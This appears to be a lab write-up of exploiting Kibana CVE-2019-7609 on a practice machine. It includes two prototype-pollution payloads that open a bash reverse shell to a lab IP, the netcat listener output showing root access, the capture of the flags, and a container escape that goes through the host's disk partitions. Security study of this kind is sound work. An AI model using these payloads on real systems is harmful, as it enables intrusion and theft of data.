Port 5601(Kibana)

Going to port 5601, I am greeted with a kibana interface, and i can find the version of the kibana system in the management tab:

And googling the exploit for this version brings me to this link: https://github.com/mpgn/CVE-2019-7609

Getting the shell

From this, it gives the instructions to paste one of the payloads below and run it:

```
.es(*).props(label.__proto__.env.AAAA='require("child_process").exec("bash -i >& /dev/tcp/192.168.45.170/4444 0>&1");process.exit()//')
.props(label.__proto__.env.NODE_OPTIONS='--require /proc/self/environ')

.es(*).props(label.__proto__.env.AAAA='require("child_process").exec("bash -c \'bash -i>& /dev/tcp/192.168.45.170/4444 0>&1\'");//')
.props(label.__proto__.env.NODE_OPTIONS='--require /proc/self/environ')
```

However, for me, only the second payload worked, i was able to get the reverse shell:

```
(kali@kali)-[~/Desktop/offsecLab/Sirol]
$ nc -nlvp 4444
listening on [any] 4444 ...
connect to [192.168.45.170] from (UNKNOWN) [192.168.159.54] 60942
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@0873e8062560:/# ls
ls
bin
boot
brick
dev
```

Once inside, i am able to get the user text file:

```
root@0873e8062560:/home# cd trent
cd trent
root@0873e8062560:/home/trent# ls
ls
local.txt
root@0873e8062560:/home/trent# cat local.txt
cat local.txt
dba70b2d979
```

I am not, however, able to get the root text file even if I am the root user.

It seems that inside the root folder, there is no file for the flag

This is because the shell is inside a docker container, this is why the hostname is a bunch of numbers and the / folder has a .dockereny folder.

Will need to list the partitions for this host and create a new directory and mount the new directory to the partitions

```
root@0873e8062560:/# fdisk -l
fdisk -l
Disk /dev/sda: 20 GiB, 21474836480 bytes, 41943040 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: dos
Disk identifier: 0×16939df4

Device Boot Start End Sectors Size Id Type
/dev/sda1 * 2048 37750783 37748736 18G 83 Linux
/dev/sda2 37752830 41940991 4188162 2G 5 Extended
/dev/sda5 37752832 41940991 4188160 2G 82 Linux swap / Solaris
```

From here we can get the root flag:

```
root@0873e8062560:/mnt/test# cd root
cd root
root@0873e8062560:/mnt/test/root# ls
ls
proof.txt
root@0873e8062560:/mnt/test/root# cat proof.txt
cat proof.txt
bf94f357169b78cf73a98996aee1d85a
root@0873e8062560:/mnt/test/root# cd /
cd /
root@0873e8062560:/# ls
```
